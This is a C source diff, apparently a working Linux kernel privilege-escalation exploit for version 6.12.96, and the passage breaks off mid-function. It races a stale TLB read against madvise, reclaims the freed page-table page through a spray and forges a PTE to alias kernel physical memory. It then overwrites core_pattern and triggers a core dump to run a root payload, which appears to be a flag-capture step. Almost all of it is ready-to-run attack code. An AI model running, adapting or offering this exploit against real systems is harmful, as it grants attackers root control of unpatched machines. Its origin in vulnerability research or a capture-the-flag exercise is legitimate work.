cpu_relax(); + } + verdict = atomic_load_explicit(&ctl->verdict_code, + memory_order_relaxed); + if (verdict == VERDICT_RETRY) { + epoch++; + continue; + } + if (verdict == VERDICT_STALE) { + atomic_store_explicit(&ctl->retaining, epoch, + memory_order_release); + if (opt.stage == STAGE_STALE) + reader_hold(); + reader_post_win(); + } + if (verdict == VERDICT_STOP) + return NULL; + set_async_fatal(ASYNC_R_PROTOCOL, EPROTO); + return NULL; + } +} + +static bool setup_reader(const char **reason) +{ + pthread_attr_t attr; + cpu_set_t set; + int rc; + + reader_stack_map_len = R_STACK_SIZE + PAGE_SIZE_; + reader_stack_map = mmap(NULL, reader_stack_map_len, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); + if (reader_stack_map == MAP_FAILED) { + reader_stack_map = NULL; + *reason = "map-reader-stack"; + return false; + } + if (mprotect(reader_stack_map, PAGE_SIZE_, PROT_NONE) != 0) { + *reason = "guard-reader-stack"; + return false; + } + for (size_t offset = PAGE_SIZE_; offset < reader_stack_map_len; + offset += PAGE_SIZE_) + *((volatile unsigned char *)reader_stack_map + offset) = 0; + rc = pthread_attr_init(&attr); + if (rc != 0) { + errno = rc; + *reason = "pthread-attr-init"; + return false; + } + (void)pthread_attr_setguardsize(&attr, 0); + rc = pthread_attr_setstack(&attr, + (unsigned char *)reader_stack_map + PAGE_SIZE_, + R_STACK_SIZE); + if (rc != 0) { + errno = rc; + pthread_attr_destroy(&attr); + *reason = "pthread-attr-stack"; + return false; + } + CPU_ZERO(&set); + CPU_SET(0, &set); + rc = pthread_attr_setaffinity_np(&attr, sizeof(set), &set); + if (rc != 0) { + errno = rc; + pthread_attr_destroy(&attr); + *reason = "pthread-attr-affinity"; + return false; + } + rc = pthread_create(&reader_thread, &attr, reader_main, NULL); + pthread_attr_destroy(&attr); + if (rc != 0) { + errno = rc; + *reason = "pthread-create-reader"; + return false; + } + if (!wait_u64_at_least(&ctl->r_boot, 1)) { + *reason = "reader-boot-timeout"; + return false; + } + if (atomic_load_explicit(&ctl->r_boot, memory_order_acquire) != 1) { + *reason = "reader-boot-failed"; + return false; + } + return true; +} + +static unsigned greatest_common_divisor(unsigned a, unsigned b) +{ + while (b != 0) { + unsigned remainder = a % b; + + a = b; + b = remainder; + } + return a; +} + +static enum attempt_mode choose_attempt_mode(uint64_t attempt) +{ + if (opt.mode == MODE_PHASE) + return ATTEMPT_PHASE; + if (opt.mode == MODE_DIRECT) + return ATTEMPT_DIRECT; + if (opt.mode == MODE_FREE) + return ATTEMPT_FREE; + if ((attempt % 32) == 0) + return ATTEMPT_DIRECT; + if ((attempt % 32) == 16) + return ATTEMPT_FREE; + return ATTEMPT_PHASE; +} + +static uint64_t phase_delay(uint64_t phase_index, unsigned stride) +{ + uint64_t bucket; + uint64_t span = opt.delay_max - opt.delay_min; + + if (opt.buckets <= 1 || span == 0) + return opt.delay_min; + bucket = (phase_index * stride) % opt.buckets; + return opt.delay_min + (span * bucket) / (opt.buckets - 1); +} + +static int direct_wake(uint64_t epoch) +{ + int count; + + atomic_store_explicit(&ctl->futex_word, (uint32_t)epoch, + memory_order_release); + count = futex_wake_shared(&ctl->futex_word, 1); + if (count != 1) { + errno = count < 0 ? errno : EPROTO; + return -1; + } + return 0; +} + +static void publish_verdict(uint64_t epoch, enum verdict_code verdict) +{ + atomic_store_explicit(&ctl->verdict_code, verdict, memory_order_relaxed); + atomic_store_explicit(&ctl->verdict_epoch, epoch, memory_order_release); +} + +static int run_race(const char **reason) +{ + struct pagemap_snapshot before, zapped, after1, after2; + uint64_t phase_index = 0; + unsigned stride = opt.buckets / 2 + 1; + + while (greatest_common_divisor(stride, opt.buckets) != 1) + stride++; + atomic_store_explicit(&ctl->start, 1, memory_order_release); + for (uint64_t epoch = 1; epoch <= opt.max_attempts; epoch++) { + enum attempt_mode mode; + uint64_t delay = 0; + uint64_t target = 0; + uint64_t observed; + bool absent1, absent2; + + if (deadline_expired()) + return 0; + if (!wait_u64_at_least(&ctl->r_ready, epoch) || + !wait_u64_at_least(&ctl->h_ready, epoch)) { + if (atomic_load_explicit(&ctl->fatal_code, + memory_order_acquire) != 0) { + *reason = "async-worker-failure"; + return -1; + } + if (deadline_expired()) + return 0; + *reason = "handoff-timeout"; + return -1; + } + if ((epoch & UINT64_C(0x3ff)) == 0 && sched_getcpu() != 1) { + errno = EXDEV; + *reason = "writer-left-cpu1"; + return -1; + } + if (!pagemap_snapshot_secret(&before)) { + *reason = "pagemap-before"; + return -1; + } + if (!(before.entry[SECRET_TARGET_PAGE] & PM_PRESENT) || + !pool_absent(&before)) { + record_.pool_absent = pool_absent(&before); + errno = EPROTO; + *reason = "pre-race-pte-invariant"; + return -1; + } + if (!anchors_are_present()) { + record_.anchors_present = false; + errno = EPROTO; + *reason = "pre-race-anchor-invariant"; + return -1; + } + record_.pool_absent = true; + record_.anchors_present = true; + mode = choose_attempt_mode(epoch); + if (mode == ATTEMPT_PHASE) { + delay = phase_delay(phase_index++, stride); + target = read_tsc_ordered(NULL) + record_.lead_cycles; + record_.phase_attempts++; + } else if (mode == ATTEMPT_DIRECT) { + record_.direct_attempts++; + } else { + record_.free_attempts++; + } + atomic_store_explicit(&ctl->attempt_mode, mode, memory_order_relaxed); + atomic_store_explicit(&ctl->start_tsc, target, memory_order_relaxed); + atomic_store_explicit(&ctl->delay_cycles, delay, memory_order_relaxed); + atomic_store_explicit(&ctl->command_epoch, epoch, memory_order_release); + if (mode == ATTEMPT_PHASE) + spin_until_tsc(target); + else if (mode == ATTEMPT_DIRECT && direct_wake(epoch) != 0) { + *reason = "direct-futex-wake"; + return -1; + } + if (zap_secret() != 0) { + *reason = "madvise-dontneed-locked"; + return -1; + } + if (!pagemap_snapshot_secret(&zapped)) { + *reason = "pagemap-post-zap"; + return -1; + } + if (!all_secret_absent(&zapped)) { + record_.pool_absent = pool_absent(&zapped); + errno = EPROTO; + *reason = "post-zap-ptes-not-absent"; + return -1; + } + record_.zapped_entry = zapped.entry[SECRET_TARGET_PAGE]; + atomic_store_explicit(&ctl->zap_done, epoch, memory_order_release); + if (!wait_u64_at_least(&ctl->read_done, epoch)) { + if (atomic_load_explicit(&ctl->fatal_code, + memory_order_acquire) != 0) { + *reason = "async-reader-failure"; + return -1; + } + if (deadline_expired()) + return 0; + *reason = "post-zap-read-timeout"; + return -1; + } + observed = atomic_load_explicit(&ctl->observed, memory_order_acquire); + if (!pagemap_snapshot_secret(&after1) || + !pagemap_snapshot_secret(&after2)) { + *reason = "pagemap-after"; + return -1; + } + if (!pool_absent(&after1) || !pool_absent(&after2)) { + record_.pool_absent = false; + errno = EPROTO; + *reason = "pool-pte-became-present"; + return -1; + } + if (!anchors_are_present()) { + record_.anchors_present = false; + errno = EPROTO; + *reason = "post-race-anchor-invariant"; + return -1; + } + if (observed != marker_for_epoch(epoch)) { + errno = EILSEQ; + *reason = "post-zap-marker-mismatch"; + return -1; + } + absent1 = !(after1.entry[SECRET_TARGET_PAGE] & PM_PRESENT); + absent2 = !(after2.entry[SECRET_TARGET_PAGE] & PM_PRESENT); + record_.attempts = epoch; + record_.observed = observed; + record_.before_entry = before.entry[SECRET_TARGET_PAGE]; + record_.after_entry = after2.entry[SECRET_TARGET_PAGE]; + if (absent1 != absent2) { + errno = EPROTO; + *reason = "unstable-pagemap-verdict"; + return -1; + } + if (absent1) { + uint64_t now = monotonic_ns(); + + record_.stale_epoch = epoch; + record_.stale_mode = mode; + record_.stale_delay = delay; + record_.stale_effective = mode == ATTEMPT_PHASE ? + (int64_t)delay - (int64_t)opt.wake_advance : 0; + record_.stale_ms = now > start_ns ? + (now - start_ns) / UINT64_C(1000000) : 0; + record_.pool_absent = true; + record_.anchors_present = true; + publish_verdict(epoch, VERDICT_STALE); + if (!wait_retaining_bounded(epoch)) { + *reason = "reader-retention-timeout"; + return -1; + } + return 1; + } + publish_verdict(epoch, VERDICT_RETRY); + } + return 0; +} + +static bool verify_empty_secret_for_final_unmap(const char **reason) +{ + /* run_race() captured two stable snapshots immediately before the win. */ + if ((record_.after_entry & PM_PRESENT) || !record_.pool_absent) { + errno = EPROTO; + *reason = "postwin-secret-pte-present"; + return false; + } + if (!record_.anchors_present) { + errno = EPROTO; + *reason = "postwin-neighbor-anchor-missing"; + return false; + } + return true; +} + +static bool fault_encoded_region(unsigned region, const char **reason) +{ + /* Read faults allocate one PTE page while mapping only the global zero page. */ + if (read_once_u64(region_address(region, PTE_ANCHOR_A)) != 0) { + errno = EILSEQ; + *reason = "spray-zero-start-not-zero"; + return false; + } + for (unsigned bit = 0; bit < PTE_ID_BITS; bit++) { + unsigned slot = PTE_ID_FIRST + bit * 2U + + !!(region & (1U << bit)); + + if (read_once_u64(region_address(region, slot)) != 0) { + errno = EILSEQ; + *reason = "spray-zero-id-not-zero"; + return false; + } + } + /* The second anchor is the commit marker and is touched last. */ + if (read_once_u64(region_address(region, PTE_ANCHOR_B)) != 0) { + errno = EILSEQ; + *reason = "spray-zero-commit-not-zero"; + return false; + } + atomic_thread_fence(memory_order_release); + atomic_store_explicit(&ctl->spray_completed, region, memory_order_release); + return true; +} + +static bool prepare_canary_source(unsigned region, const char **reason) +{ + volatile uint64_t *source = + (volatile uint64_t *)(void *)region_address(region, PTE_CANARY_SOURCE); + uint64_t canary = canary_for_region(region); + + /* The owner is fixed now; this is the first data-page allocation. */ + write_once_u64(source, canary); + if (read_once_u64(source) != canary) { + errno = EILSEQ; + *reason = "canary-source-write-fault"; + return false; + } + atomic_store_explicit(&ctl->canary_ready, 1, memory_order_release); + return true; +} + +static int wait_for_pte_capture(const char **reason) +{ + uint64_t end; + uint64_t region; + + for (unsigned candidate = FIRST_SPRAY_REGION; + candidate <= opt.spray_regions; candidate++) { + if (!fault_encoded_region(candidate, reason)) + return -1; + if (atomic_load_explicit(&ctl->captured_region, + memory_order_acquire) != 0) + break; + } + /* Give CPU0 a bounded final recognition window without another syscall. */ + end = read_tsc_ordered(NULL) + UINT64_C(300000000); + while (atomic_load_explicit(&ctl->captured_region, + memory_order_acquire) == 0) { + uint64_t abort_code = atomic_load_explicit(&ctl->postwin_abort, + memory_order_acquire); + + if (abort_code != 0) { + errno = (int)abort_code; + *reason = "reader-rejected-pte-page"; + return -1; + } + if ((int64_t)(read_tsc_ordered(NULL) - end) >= 0) { + errno = ETIMEDOUT; + *reason = "pte-page-not-reclaimed"; + atomic_store_explicit(&ctl->postwin_abort, ETIMEDOUT, + memory_order_release); + return 0; + } + cpu_relax(); + } + region = atomic_load_explicit(&ctl->captured_region, memory_order_acquire); + if (region < FIRST_SPRAY_REGION || region > opt.spray_regions || + region > atomic_load_explicit(&ctl->spray_completed, + memory_order_acquire)) { + errno = EPROTO; + *reason = "captured-region-before-canary-invalid"; + atomic_store_explicit(&ctl->postwin_abort, EPROTO, + memory_order_release); + return -1; + } + if (!prepare_canary_source((unsigned)region, reason)) { + atomic_store_explicit(&ctl->postwin_abort, errno, + memory_order_release); + return -1; + } + end = read_tsc_ordered(NULL) + UINT64_C(300000000); + while (atomic_load_explicit(&ctl->pte_installed, + memory_order_acquire) == 0) { + uint64_t abort_code = atomic_load_explicit(&ctl->postwin_abort, + memory_order_acquire); + + if (abort_code != 0) { + errno = (int)abort_code; + *reason = "reader-rejected-canary-pte"; + return -1; + } + if ((int64_t)(read_tsc_ordered(NULL) - end) >= 0) { + errno = ETIMEDOUT; + *reason = "canary-pte-not-installed"; + atomic_store_explicit(&ctl->postwin_abort, ETIMEDOUT, + memory_order_release); + return -1; + } + cpu_relax(); + } + return 1; +} + +static bool collect_and_validate_capture(const char **reason) +{ + uint64_t region = atomic_load_explicit(&ctl->captured_region, + memory_order_acquire); + uint64_t zero_pte = atomic_load_explicit(&ctl->captured_zero_pte, + memory_order_relaxed); + uint64_t source_pte = atomic_load_explicit(&ctl->captured_source_pte, + memory_order_relaxed); + uint64_t zero_pa = atomic_load_explicit(&ctl->captured_zero_pa, + memory_order_relaxed); + uint64_t core_pa = atomic_load_explicit(&ctl->captured_core_pa, + memory_order_relaxed); + uint64_t check_zero, check_core; + + if (region < FIRST_SPRAY_REGION || region > opt.spray_regions || + region > atomic_load_explicit(&ctl->spray_completed, + memory_order_acquire)) { + errno = EPROTO; + *reason = "captured-region-out-of-range"; + return false; + } + if (!calculate_core_target(zero_pte, &check_zero, &check_core) || + check_zero != zero_pa || check_core != core_pa || + !source_pte_sane(source_pte, zero_pa)) { + errno = EPROTO; + *reason = "captured-pte-or-offset-invalid"; + return false; + } + record_.pte_region = region; + record_.zero_pte = zero_pte; + record_.source_pte = source_pte; + record_.zero_pa = zero_pa; + record_.core_pa = core_pa; + record_.pte_fingerprint = true; + { + uint64_t now = monotonic_ns(); + uint64_t stale_ns = start_ns + record_.stale_ms * UINT64_C(1000000); + + record_.pte_ms = now > stale_ns ? + (now - stale_ns) / UINT64_C(1000000) : 0; + } + return true; +} + +static bool verify_canary_alias(const char **reason) +{ + unsigned region = (unsigned)record_.pte_region; + volatile uint64_t *source = + (volatile uint64_t *)(void *)region_address(region, PTE_CANARY_SOURCE); + volatile uint64_t *destination = + (volatile uint64_t *)(void *)region_address(region, PTE_DESTINATION); + uint64_t canary = canary_for_region(region); + uint64_t changed = canary ^ CANARY_FLIP; + + if (read_once_u64(source) != canary) { + errno = EILSEQ; + *reason = "canary-source-changed"; + return false; + } + /* First-ever destination access: it must now resolve through the copied PTE. */ + if (read_once_u64(destination) != canary) { + errno = EILSEQ; + *reason = "canary-destination-not-alias"; + return false; + } + write_once_u64(destination, changed); + if (read_once_u64(source) != changed || + read_once_u64(destination) != changed) { + errno = EILSEQ; + *reason = "canary-bidirectional-alias-failed"; + return false; + } + write_once_u64(destination, canary); + record_.alias_verified = true; + return true; +} + +static bool write_core_pattern(const char **reason) +{ + unsigned region = (unsigned)record_.pte_region; + volatile unsigned char *mapped_page = + (volatile unsigned char *)(void *)region_address(region, PTE_DESTINATION); + const char pattern[] = CORE_PATTERN_VALUE; + + if (record_.core_pa >= MAX_GUEST_PHYS_EXCL || + (record_.core_pa & (PAGE_SIZE_ - 1)) != 0 || + (record_.core_pa | PTE_TARGET_FLAGS) != + (atomic_load_explicit(&ctl->captured_core_pa, memory_order_relaxed) | + PTE_TARGET_FLAGS)) { + errno = EPROTO; + *reason = "core-pattern-target-recheck"; + return false; + } + for (size_t i = 0; i < sizeof(pattern); i++) + mapped_page[CORE_PATTERN_IN_PAGE + i] = (unsigned char)pattern[i]; + atomic_thread_fence(memory_order_seq_cst); + for (size_t i = 0; i < sizeof(pattern); i++) { + if (mapped_page[CORE_PATTERN_IN_PAGE + i] != (unsigned char)pattern[i]) { + errno = EIO; + *reason = "core-pattern-readback"; + return false; + } + } + record_.core_pattern_verified = true; + return true; +} + +static bool restore_forged_pte(const char **reason) +{ + uint64_t end = read_tsc_ordered(NULL) + UINT64_C(300000000); + + atomic_store_explicit(&ctl->pte_restore_request, 1, memory_order_release); + while (atomic_load_explicit(&ctl->pte_restored, + memory_order_acquire) == 0) { + uint64_t abort_code = atomic_load_explicit(&ctl->postwin_abort, + memory_order_acquire); + + if (abort_code != 0) { + errno = (int)abort_code; + *reason = "forged-pte-restore-rejected"; + return false; + } + if ((int64_t)(read_tsc_ordered(NULL) - end) >= 0) { + errno = ETIMEDOUT; + *reason = "forged-pte-restore-timeout"; + return false; + } + cpu_relax(); + } + record_.pte_restored = true; + return true; +} + +static bool reset_postwin_fault_handlers(void) +{ + struct sigaction action; + + memset(&action, 0, sizeof(action)); + action.sa_handler = SIG_DFL; + return sigemptyset(&action.sa_mask) == 0 && + sigaction(SIGSEGV, &action, NULL) == 0 && + sigaction(SIGBUS, &action, NULL) == 0; +} + +static bool trigger_flag_helper(const char **reason) +{ + struct pollfd pollfd_; + pid_t child; + char status = 0; + int poll_rc; + int wait_status; + + if (root_status_read < 0 || fcntl(ROOT_MEMFD, F_GETFD) < 0 || + fcntl(ROOT_STATUS_FD, F_GETFD) < 0) { + errno = EBADF; + *reason = "root-payload-fds-missing"; + return false; + } + child = fork(); + if (child < 0) { + *reason = "fork-coredump-child"; + return false; + } + if (child == 0) { + close(root_status_read); + (void)setsid(); + if (!reset_postwin_fault_handlers()) + _exit(125); + (void)prctl(PR_SET_DUMPABLE, 1); + (void)syscall(SYS_tgkill, getpid(), (pid_t)syscall(SYS_gettid), + SIGSEGV); + _exit(124); + } + close(ROOT_STATUS_FD); + pollfd_.fd = root_status_read; + pollfd_.events = POLLIN; + pollfd_.revents = 0; + do { + poll_rc = poll(&pollfd_, 1, 15000); + } while (poll_rc < 0 && errno == EINTR); + if (poll_rc > 0 && (pollfd_.revents & POLLIN)) { + ssize_t n; + + do { + n = read(root_status_read, &status, 1); + } while (n < 0 && errno == EINTR); + if (n != 1) + status = 0; + } + (void)waitpid(child, &wait_status, 0); + close(root_status_read); + root_status_read = -1; + if (status != ROOT_STATUS_BYTE) { + errno = poll_rc == 0 ? ETIMEDOUT : EIO; + *reason = "flag-helper-not-confirmed"; + return false; + } + record_.flag_confirmed = true; + return true; +} + +static bool wait_postwin_flag(_Atomic uint64_t *flag, const char *timeout_reason, + const char **reason) +{ + uint64_t end = read_tsc_ordered(NULL) + UINT64_C(300000000); + + while (atomic_load_explicit(flag, memory_order_acquire) == 0) { + uint64_t abort_code = atomic_load_explicit(&ctl->postwin_abort, + memory_order_acquire); + + if (abort_code != 0) { + errno = (int)abort_code; + *reason = atomic_load_explicit(&ctl->postwin_fault_signal, + memory_order_relaxed) != 0 ? + "post-unmap-stale-lost" : "postwin-reader-aborted"; + return false; + } + if ((int64_t)(read_tsc_ordered(NULL) - end) >= 0) { + errno = ETIMEDOUT; + *reason = timeout_reason; + atomic_store_explicit(&ctl->postwin_abort, ETIMEDOUT, + memory_order_release); + return false; + } + cpu_relax(); + } + return true; +} + +static int run_postwin(const char **reason) +{ + int capture_result; + + if (!verify_empty_secret_for_final_unmap(reason)) + return -1; + atomic_store_explicit(&ctl->unmap_started, 1, memory_order_release); + if (!wait_postwin_flag(&ctl->unmap_reader_ready, + "postwin-reader-not-ready-for-unmap", reason)) + return -1; + /* + * The winning madvise just ran flush_tlb_batched_pending(), and no M + * page-table mutator has run since. All leaves are none and immediate + * same-PMD VMAs bound the range, so this is the sole empty final unmap. + */ + if (munmap(secret_base, SECRET_LEN) != 0) { + *reason = "final-empty-secret-munmap"; + return -1; + } + record_.secret_unmapped = true; + atomic_store_explicit(&ctl->unmap_returned, 1, memory_order_release); + if (!wait_postwin_flag(&ctl->post_unmap_load_ok, + "post-unmap-load-timeout", reason)) + return -1; + if (read_once_u64(anchor_low) != ANCHOR_LOW_VALUE || + read_once_u64(anchor_high) != ANCHOR_HIGH_VALUE) { + errno = EPROTO; + *reason = "same-pmd-neighbor-lost"; + return -1; + } + capture_result = wait_for_pte_capture(reason); + if (capture_result <= 0) + return capture_result; + if (!collect_and_validate_capture(reason)) { + (void)restore_forged_pte(reason); + return -1; + } + if (opt.stage == STAGE_PTE_PROOF) { + if (!verify_canary_alias(reason)) { + (void)restore_forged_pte(reason); + return -1; + } + if (!restore_forged_pte(reason)) + return -1; + return 1; + } + if (opt.stage != STAGE_FLAG) { + errno = EINVAL; + *reason = "invalid-postwin-stage"; + return -1; + } + if (!write_core_pattern(reason)) { + (void)restore_forged_pte(reason); + return -1; + } + if (!restore_forged_pte(reason)) + return -1; + if (!trigger_flag_helper(reason)) + return -1; + return 1; +} + +static void stop_workers_cleanly(void) +{ + struct timespec pause_time = { .tv_sec = 0, .tv_nsec = 1000000 }; + int status; + + if (ctl == NULL) + return; + atomic_store_explicit(&ctl->stop, 1, memory_order_release); + atomic_store_explicit(&ctl->futex_word, UINT32_MAX, memory_order_release); + (void)futex_wake_shared(&ctl->futex_word, INT_MAX); + if (reader_stack_map != NULL) + (void)pthread_join(reader_thread, NULL); + if (helper_pid > 0) { + for (unsigned i = 0; i < 100; i++) { + pid_t waited = waitpid(helper_pid, &status, WNOHANG); + + if (waited == helper_pid) { + helper_pid = -1; + break; + } + (void)nanosleep(&pause_time, NULL); + } + if (helper_pid > 0) { + (void)kill(helper_pid, SIGKILL); + (void)waitpid(helper_pid, &status, 0); + helper_pid = -1; + } + } +} + +static bool parse_u64(const char *text, uint64_t *value) +{ + char *end; + unsigned long long parsed; + + errno = 0; + parsed = strtoull(text, &end, 0); + if (errno != 0 || text == end || *end != '\0') + return false; + *value = (uint64_t)parsed; + return true; +} + +static void print_usage(const char *program) +{ + dprintf(STDOUT_FILENO, + "Usage: %s [--vuln-trigger] [--stage stale|pte-proof|flag] " + "[--expect auto|vulnerable|fixed]\n" + " [--mode phase|direct|free|auto] [--seconds 1..280] " + "[--attempts N]\n" + " [--buckets N] [--delay-min-cycles N] " + "[--delay-max-cycles N]\n" + " [--wake-advance-cycles N] [--spray-regions 257..511]\n", + program); +} + +static bool parse_arguments(int argc, char **argv) +{ + for (int i = 1; i < argc; i++) { + const char *argument = argv[i]; + const char *value; + uint64_t number; + + if (strcmp(argument, "--help") == 0) { + print_usage(argv[0]); + exit(0); + } + if (strcmp(argument, "--vuln-trigger") == 0) { + if (argc != 2) + return false; + vuln_trigger_mode = true; + opt.stage = STAGE_FLAG; + opt.expect = EXPECT_VULNERABLE; + opt.mode = MODE_PHASE; + opt.seconds = 150; + continue; + } + if (++i >= argc) + return false; + value = argv[i]; + if (strcmp(argument, "--stage") == 0) { + if (strcmp(value, "stale") == 0) + opt.stage = STAGE_STALE; + else if (strcmp(value, "pte-proof") == 0) + opt.stage = STAGE_PTE_PROOF; + else if (strcmp(value, "flag") == 0) + opt.stage = STAGE_FLAG; + else + return false; + } else if (strcmp(argument, "--expect") == 0) { + if (strcmp(value, "auto") == 0) + opt.expect = EXPECT_AUTO; + else if (strcmp(value, "vulnerable") == 0) + opt.expect = EXPECT_VULNERABLE; + else if (strcmp(value, "fixed") == 0) + opt.expect = EXPECT_FIXED; + else + return false; + } else if (strcmp(argument, "--mode") == 0) { + if (strcmp(value, "phase") == 0) + opt.mode = MODE_PHASE; + else if (strcmp(value, "direct") == 0) + opt.mode = MODE_DIRECT; + else if (strcmp(value, "free") == 0) + opt.mode = MODE_FREE; + else if (strcmp(value, "auto") == 0) + opt.mode = MODE_AUTO; + else + return false; + } else if (strcmp(argument, "--seconds") == 0) { + if (!parse_u64(value, &number) || number == 0 || + number > MAX_SECONDS) + return false; + opt.seconds = (unsigned)number; + } else if (strcmp(argument, "--attempts") == 0) { + if (!parse_u64(value, &number) || number == 0 || + number >= UINT32_MAX) + return false; + opt.max_attempts = number; + } else if (strcmp(argument, "--buckets") == 0) { + if (!parse_u64(value, &number) || number < 2 || number > 4096) + return false; + opt.buckets = (unsigned)number; + } else if (strcmp(argument, "--delay-min-cycles") == 0) { + if (!parse_u64(value, &number) || number > UINT64_C(100000000)) + return false; + opt.delay_min = number; + } else if (strcmp(argument, "--delay-max-cycles") == 0) { + if (!parse_u64(value, &number) || number > UINT64_C(100000000)) + return false; + opt.delay_max = number; + } else if (strcmp(argument, "--wake-advance-cycles") == 0) { + if (!parse_u64(value, &number) || number > UINT64_C(100000000)) + return false; + opt.wake_advance = number; + } else if (strcmp(argument, "--spray-regions") == 0) { + if (!parse_u64(value, &number) || number < FIRST_SPRAY_REGION || + number > MAX_SPRAY_REGIONS) + return false; + opt.spray_regions = (unsigned)number; + } else { + return false; + } + } + return opt.delay_min <= opt.delay_max; +} + +static bool kernel_has_kasan(void) +{ + char line[512]; + FILE *symbols = fopen("/proc/kallsyms", "re"); + + if (symbols == NULL) + return false; + while (fgets(line, sizeof(line), symbols) != NULL) { + if (strstr(line, " kasan_init\n") != NULL) { + (void)fclose(symbols); + return true; + } + } + (void)fclose(symbols); + return false; +} + +static enum expect_kind detect_expectation(void) +{ + if (strncmp(kernel_release, "6.12.96", 7) == 0) + return EXPECT_VULNERABLE; + if (strncmp(kernel_release, "6.12.97", 7) == 0) + return EXPECT_FIXED; + return EXPECT_AUTO; +} + +static bool prefault_executable_mappings(void) +{ + char line[512]; + FILE *maps = fopen("/proc/self/maps", "re"); + + if (maps == NULL) + return false; + while (fgets(line, sizeof(line), maps) != NULL) { + unsigned long long first, last; + char permissions[5] = { 0 }; + + if (sscanf(line, "%llx-%llx %4s", &first, &last, permissions) != 3) + continue; + if (permissions[0] != 'r' || permissions[2] != 'x') + continue; + for (unsigned long long address = first; address < last; + address += PAGE_SIZE_) { + volatile const unsigned char *byte = + (volatile const unsigned char *)(uintptr_t)address; + + __asm__ volatile("" : : "r"(*byte) : "memory"); + } + } + if (ferror(maps)) { + fclose(maps); + return false; + } + return fclose(maps) == 0; +} + +static bool prefault_postwin_state(void) +{ + volatile unsigned char sink = 0; + struct pte_capture warm; + uint64_t a, b; + const char *pattern = CORE_PATTERN_VALUE; + + for (size_t i = 0; i < sizeof(final_line); i += PAGE_SIZE_) + final_line[i] = '\0'; + for (size_t i = 0; i < sizeof(copy_buffer); i += PAGE_SIZE_) + ((volatile unsigned char *)copy_buffer)[i] = copy_buffer[i]; + for (size_t i = 0; pattern[i] != '\0'; i++) + sink ^= (unsigned char)pattern[i]; + if (!pte_recognizer_selftest()) + return false; + memset(recognizer_warm_page, 0, sizeof(recognizer_warm_page)); + (void)recognize_pte_page(recognizer_warm_page, 0, &warm); + (void)calculate_core_target(0, &a, &b); + (void)snprintf(final_line, sizeof(final_line), "warm-%u-%u", + (unsigned)sink, physical_bits); + memset(final_line, 0, sizeof(final_line)); + prefault_current_stack(); + return prefault_executable_mappings(); +} + +int exploit_main(int argc, char **argv) +{ + struct utsname uts; + struct sched_param normal_param = { .sched_priority = 0 }; + const char *reason = "none"; + enum expect_kind detected; + pid_t parent_pid; + int race_result; + int postwin_result; + int saved_errno; + + if (is_root_payload_invocation(argc, argv)) + root_payload(); + start_ns = monotonic_ns(); + if (start_ns == 0) + start_ns = 1; + if (!parse_arguments(argc, argv)) { + print_usage(argv[0]); + finish("preflight-failed", "bad-arguments", EINVAL, 1); + } + deadline_ns = start_ns + (uint64_t)opt.seconds * UINT64_C(1000000000); + if (uname(&uts) == 0) { + strncpy(kernel_release, uts.release, sizeof(kernel_release) - 1); + kernel_release[sizeof(kernel_release) - 1] = '\0'; + sanitize_json_string(kernel_release); + } + if (vuln_trigger_mode && kernel_has_kasan() && + !configure_kernel_symbols(UINT64_C(0xffffffff8a233000), + UINT64_C(0xffffffff880ffb60))) + finish("preflight-failed", "kasan-symbol-layout-invalid", EINVAL, 1); + detected = detect_expectation(); + if (opt.expect == EXPECT_AUTO) + opt.expect = detected; + else if (detected != EXPECT_AUTO && opt.expect != detected) + finish("preflight-failed", "kernel-expectation-mismatch", EINVAL, 1); + if (opt.stage != STAGE_STALE && + strncmp(kernel_release, "6.12.96", strlen("6.12.96")) != 0) + finish("preflight-failed", "postwin-stage-requires-exact-lts-6.12.96", + EINVAL, 1); + if (opt.stage != STAGE_STALE && opt.expect != EXPECT_VULNERABLE) + finish("preflight-failed", "postwin-stage-requires-vulnerable-expectation", + EINVAL, 1); + if (!widen_to_two_cpus()) + finish("preflight-failed", "need-cpu0-and-cpu1-affinity", errno, 1); + if (sched_getscheduler(0) != SCHED_OTHER && + sched_setscheduler(0, SCHED_OTHER, &normal_param) != 0) + finish("preflight-failed", "writer-needs-sched-other", errno, 1); + if (sched_getscheduler(0) != SCHED_OTHER) + finish("preflight-failed", "writer-needs-sched-other", EINVAL, 1); + if (!read_cpuid_features() || !read_cpu_flags()) + finish("preflight-failed", "read-cpu-features", errno, 1); + if (!(cpuid_pcid && cpuinfo_pcid)) + finish("preflight-failed", "pcid-not-enabled", ENOTSUP, 1); + if (!rdtscp_available) + finish("preflight-failed", "rdtscp-missing", ENOTSUP, 1); + if (!adjust_memlock_limit()) + finish("preflight-failed", "rlimit-memlock-below-page-size", errno, 1); + if (sysconf(_SC_PAGESIZE) != (long)PAGE_SIZE_) + finish("preflight-failed", "page-size-not-4096", EINVAL, 1); + if (sizeof(struct control) > PAGE_SIZE_) + finish("preflight-failed", "control-page-too-large", EOVERFLOW, 1); + ctl = mmap(NULL, PAGE_SIZE_, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_ANONYMOUS, -1, 0); + if (ctl == MAP_FAILED) { + ctl = NULL; + finish("preflight-failed", "map-shared-control", errno, 1); + } + memset(ctl, 0, PAGE_SIZE_); + initialize_control(); + if (!atomic_is_lock_free(&ctl->futex_word) || + !atomic_is_lock_free(&ctl->r_ready)) + finish("preflight-failed", "shared-atomics-not-lock-free", ENOTSUP, 1); + parent_pid = getpid(); + helper_pid = fork(); + if (helper_pid < 0) + finish("preflight-failed", "fork-helper", errno, 1); + if (helper_pid == 0) + helper_main(parent_pid); + if (pin_to_cpu(1) != 0 || sched_getcpu() != 1) + finish("preflight-failed", "pin-writer-cpu1", errno != 0 ? errno : EXDEV, 1); + prefault_current_stack(); + if (!wait_u64_at_least(&ctl->h_boot, 1) || + atomic_load_explicit(&ctl->h_boot, memory_order_acquire) != 1) + finish("preflight-failed", "helper-boot", errno, 1); + tsc_synchronized = synchronize_tsc(); + if ((opt.mode == MODE_PHASE || opt.mode == MODE_AUTO) && !tsc_synchronized) + finish("preflight-failed", "phase-mode-needs-synchronized-tsc", + ENOTSUP, 1); + pagemap_fd = open("/proc/self/pagemap", O_RDONLY | O_CLOEXEC); + if (pagemap_fd < 0) + finish("preflight-failed", "open-pagemap", errno, 1); + if (!setup_mlock_drain(&reason)) + finish("preflight-failed", reason, errno, 1); + if (opt.stage == STAGE_FLAG && !prepare_root_memfd(&reason)) + finish("preflight-failed", reason, errno, 1); + if (!setup_sparse_arena(&reason)) + finish("preflight-failed", reason, errno, 1); + if (!setup_secret_mapping(&reason)) + finish("preflight-failed", reason, errno, 